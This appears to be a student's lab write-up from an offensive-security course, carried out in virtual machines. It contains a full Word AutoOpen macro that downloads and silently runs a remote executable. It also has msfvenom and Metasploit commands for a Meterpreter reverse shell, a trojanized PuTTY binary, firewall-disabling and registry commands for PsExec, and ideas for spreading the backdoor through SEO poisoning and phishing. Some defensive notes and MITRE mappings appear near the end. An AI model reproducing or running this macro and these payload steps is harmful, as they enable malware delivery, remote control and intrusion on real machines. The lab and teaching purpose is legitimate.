This preReq is install Microsoft Word via a zip file provided on windows

Our goal is to create a malicious macro in Microsoft word that is able to download and execute a payload.

1. Open Microsoft Word, -> View -> View Macros
2. Enter AutoOpen as the macro name then create it in VBA editor
3. Delete all of the default content in the file and past the following code

Sub AutoOpen()
    Dim objShell As Object
    Dim objHTTP As Object
    Dim objStream As Object
    Dim strPath As String
    Dim strURL As String
    
    ' --- CONFIGURATION ---
    ' REPLACE THIS WITH YOUR ACTUAL IP ADDRESS AND RAT NAME
    strURL = "http://YOUR_ACTUAL_IP:PORT/RAT.exe"
    strPath = Environ("USERPROFILE") & "\Documents\launcher.exe"
    ' ---------------------

    ' 1. Validate URL
    If InStr(strURL, "YOUR_ACTUAL_IP") > 0 Then
        MsgBox "ERROR: You must replace YOUR_ACTUAL_IP with your real IP address.", vbCritical
        Exit Sub
    End If
    
    On Error GoTo ErrHandler
    
    ' 2. Download File
    Set objHTTP = CreateObject("MSXML2.XMLHTTP")
    objHTTP.Open "GET", strURL, False
    objHTTP.Send
    
    If objHTTP.Status <> 200 Then
        MsgBox "Download Failed. HTTP Status: " & objHTTP.Status, vbCritical
        Exit Sub
    End If
    
    ' 3. Save File
    Set objStream = CreateObject("ADODB.Stream")
    objStream.Type = 1 ' adTypeBinary
    objStream.Open
    objStream.Write objHTTP.ResponseBody
    objStream.Position = 0
    objStream.SaveToFile strPath, 2 ' adSaveCreateOverWrite
    objStream.Close
    
    ' 4. Verify File Exists
    If Dir(strPath) = "" Then
        MsgBox "CRITICAL: File was not saved to disk.", vbCritical
        Exit Sub
    End If
    
    ' 5. Run File
    Set objShell = CreateObject("WScript.Shell")
    ' Use cmd /c to ensure proper batch execution
    objShell.Run "cmd /c """ & strPath & """", 0, False
    
    Exit Sub

ErrHandler:
    MsgBox "ERROR " & Err.Number & ": " & Err.Description, vbCritical
End Sub

• Then insert your Kali IP and the port of your choice on line 10

Generate RAT and host it:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<KALI_IP> LPORT=6666 -f exe > RAT.exe
cd ~/Desktop
python3 -m http.server 8000

Setting up Metasploit listener:

msfconsole -q

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 10.0.17.39
set LPORT 6666
exploit -j

Once this is set up run our macro again and check back While the python and MeterPreter are open

AutoOpen is a reserved macro from Word that invokes as soon as the document is opened. When it is opened the macros are all enabled. Once this is triggered then the macro uses MSCML2.XMLHTTP in order to issue an HTTP GET request that will then go to the attackers server in order to pull down the payload as raw bytes. This is because HTTP responses come in the text format. Then the macro switches to an ADODB.Stream in binary. It will then make sure it lands to the disk and proceeding which makes this attack more reliable as it ensures the binary is saved. Then it will execute WScript.Shell in order to spawn cmd/c which will run the dropped executable. The 0 parameter hides the window so no console is shown popping up and the false means it doesn't wait for completion. Then the document returns to normal while the payload is running in the background.

• This is because AutoOpen is reserved VBA macro name that Microsoft Word recognized and executes automatically when document is opened.

• Disable macros by default via Group Policy - Microsoft provides GPO settings to block all macros, allow only digitally signed macros or disable the macros without any notification.
• Attack surface Reduction or ASR rules - Windows Defender ASR has specific rules that block Office applications from creating any child processes associated with them, any executables, and or injection.
• Application Whitelisting - Tools like Windows Defender Application Control (WDAC) or AppLocker can prevent launcher.exe from running from the Documents folder since that's not a standard executable location.

• Add a backdoor to a legitimate Windows program that you would use on the daily. Showing how supply chain attacks and trojanized software can be used to maintain access.

https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html

• Save it to Desktop

On Kali:

cd ~/Desktop
pip3 install uploadserver --break-system-packages
python3 -m uploadserver 8000

On windows:

curl.exe -X POST http://10.0.17.41:8080/upload -F "files=@C:\Users\champuser\Desktop\putty.exe"

On Kali:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.17.41 LPORT=7777 -f exe -x ~/Desktop/putty.exe -k -o ~/Desktop/putty_bd.exe

-x - use the real putty.exe as the template -k - keeps the original execution untouched to not disturb operability o - output the backdoored binary.

• Kill uploadserver if it is still running on Kali

cd ~/Desktop
python3 -m http.server 8000

On Windows:

curl.exe http://10.0.17.39:8000/putty_bd.exe -o putty_bd.exe

On Kali

msfconsole -q

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 10.0.17.39
set LPORT 6666
exploit -j

On Windows:

.\putty_bd.exe

Verify that:

• PuTTy works
• Meterpreter session established

I had and issue with this video submission as I had a network issue I have to troubleshoot but I was unable too as nothing seemed to work. I also tried to role my box back because Putty kept closing without any prompting or explanation. This however was still an issue even after I rolled the VM back.

Fixed Network Issue

Still auto closes on me even after rolling back

• Backdoor executables are able to achieve persistence by using the legitimate software that all users on windows already have installed and trusted, an attacker can take these legitimate binary's and inject a malicious payload into them. For this example I used PuTTy. The payload will still run like normal and execute. The way it maintains evasion is because its binary structure did not change.

• Signature based sees that these are so similar to legitimate binary's that the anti virus software fails to detect them because it recognizes them as legitimate binary's
• For heuristic detection it gets confused due to the functionality of the binary and how legitimate it looks.

• Upload the backdoored application to a third party downloading site in order to have people download it under the impression it is legitimate
• Use search engine optimization poisoning in order to manipulate the search rankings in order to have the backdoored version appear before of the real ones.
• Start a phishing campaign in order to have users download it under the context that they need to download it.

• No integrity and or accountability, Also requires the user to verify the software is legitimate and not malicious.

We need to add the required registry key on window 10 VM so that PSExec then also disbale the firewall firewall.

REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

netsh advfirewall set allprofiles state off

On our Kali box

use exploit/windows/smb/psexec
set payload windows/x64/meterpreter/reverse_https
set RHOST 10.0.17.58
set SMBUSER champuser
set SMBPASS [champuser's password]
set LHOST 10.0.17.41
set LPORT 8443
show options
exploit

• 8443 is common HTTPS alternate port

run 
getuid 

Command: ipconfig (Window shell command, run shell first)

What it reveals to a hacker

It would tell the hacker the Local IP, subnet, gateway, and DNS

MITRE ATT&CK

T1082 -- System Network Configuration Discovery

Command: sysinfo (meterpreter built in)

What it reveals to a hacker

It would tell the hacker the OS name, arch, hostname, and domain

MITRE ATT&CK

T1082 -- System Information Discovery

Command: ps (meterpreter built in)

What it reveals to a hacker

It tells the hacker what processes are running and who the owners of those processes are

MITRE ATT&CK

T1057 -- Process Discovery

Command: netstat -an (Window shell command, run shell first)

What it reveals to a hacker

It tells the hacker what active and listening connections and ports for those connections that exist

MITRE ATT&CK

T1049 -- System Network Connections Discovery

Command: getuid (meterpreter built in)

What it reveals to a hacker

It tells the hacker who they are running as, it would let them know the privilege level and whether you need to escalate before anything else

MITRE ATT&CK

T1033 -- System Owner/User Discovery

Command: getprivs (meterpreter built in)

What it reveals to a hacker

This shows the privileges that your current token holds, some privileges are exploitable on their own so this would let a hacker shape their next move

MITRE ATT&CK

T1134 -- Access Token Manipulation (This describes the abuse not discovery)

Command: systeminfo (Window shell command, run shell first)

What it reveals to a hacker

It dumps the full OS build and the installed hotfix list which a hacker could feed into a patch to exploit mapper to find missing patch privsc

MITRE ATT&CK

T1082 -- System Information Discovery

Command: arp -a (Window shell command, run shell first)

What it reveals to a hacker

It tells the hacker what neighboring hosts recently contacted the machine

MITRE ATT&CK

T1016 (config) & T1018 -- Remote System Discovery

Command: net localgroup administrators (Window shell command, run shell first)

What it reveals to a hacker

It would tell the hacker what local accounts have local admin and basically creates a list of targets for the hacker to focus on

MITRE ATT&CK

T1069.001 -- Permission Groups Discovery: Local Groups

Why would you use reverse_https instead of reverse_tcp?

You can use it in order to blend in with the regular traffic, this is also a way to help bypass firewalls. It also will help to encrypt traffic

Why is using a non-default port important for operational security?

It is important for operational security because often a hacker will check those default ports, so if use use a non-default port then it will help to prevent hackers from finding those simple and basic ports.

Which of the 9 enumeration commands revealed the most valuable information for lateral movement and why?

"net localgroup administrators" This reveals domain accounts and local admins. This is perfect for lateral movement as it gives the hacker a very easy list of accounts to target in order to gain more control.

How does the getuid output confirm the stolen credential attack was successful?

It informs you what the Meterpreter session is currently running as so if it runs as the "NT SYSTEM/AUTHORITY" it means it is currently working since it runs as a privileged account.

Command

xfreerdp3 /v:<ip-of-target> /u:<username /p:<password> /dynamic-resolution

Enable Remote Desktop via System Properties, Group Policy, or the registry/firewall command below.

REG ADD "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
netsh advfirewall firewall set rule group="remote desktop" new enable=yes

netstat -an | findstr 3389

xfreerdp3 /u:champuser /p:<CHAMPUSER_PASSWORD> /v:<WINDOWS_10_VM_IP> /cert:ignore

Remote Desktop

Explanation of how RDP is used by attackers for initial access and lateral movement: An attacker can use stolen credentials in order to gain access to a machine. RDP gives them a fully interactive graphical session that looks identical to a legitimate remote administrator logging in. RDP is widely used in businesses so often it goes under the radar as a normal tool. From here the attacker can do whatever he pleases on the machine browse files run GUI tools, they can also move to other systems on the account to blend into regular remote work.

The MITRE ATT&CK technique ID: T1021.001 (Remote Services: Remote Desktop Protocol) — related: T1078 (Valid Accounts, the compromised champuser credentials used to authenticate)

1. How does an RDP session differ from a Meterpreter session in terms of attacker capabilities?

RDP is different because it provides a full graphical desktop that is identical to sitting at the machine itself. Using RDP instead of Meterpreter makes it harder to script or automate across multiple hosts. It also creates visible interactive logon session. This could be noticed by the user. Meterpreter is one that allows the attacker to do much more. Using Meterpreter you can script and automate exploits. You can also run in the background without an interactive desktop session, and it is much easier to chain multiple compromised hosts at once.

2. Why is RDP a preferred method for attackers who want to interact with a graphical environment?

Certain tasks that an attacker may want to use are much faster to do will using a GUI, for example browsing an unfamiliar file structure, using GUI only internal tools, or navigating software that has no scriptable interface. RDP is able to provide this for attacker. It is able to replicate the legitimate user or admin without needing to translate every action into the cli equivalent.

3. What network monitoring indicators would suggest unauthorized RDP access?

Logons during non business hours or from an IP that is unknown or unfamiliar. Also spikes in failed RDP authentication attempts (possible brute forcing), one account authenticating via RDP to many different hosts in a short period of time. Also RDP logon followed by suspicious activity or events.

4. How can organizations restrict RDP access to reduce the attack surface?

Disable RDP on hosts that do not need it, make sure to never expose RDP directly to the internet, make sure you require VPN or RDP jump boxes. Also require multi factor authentication for logon. Restrict the IPs that are allowed in via the firewall. and enforce strong password requirements on accounts. Make sure you have monitoring set up for RDP events especially for any privileged accounts.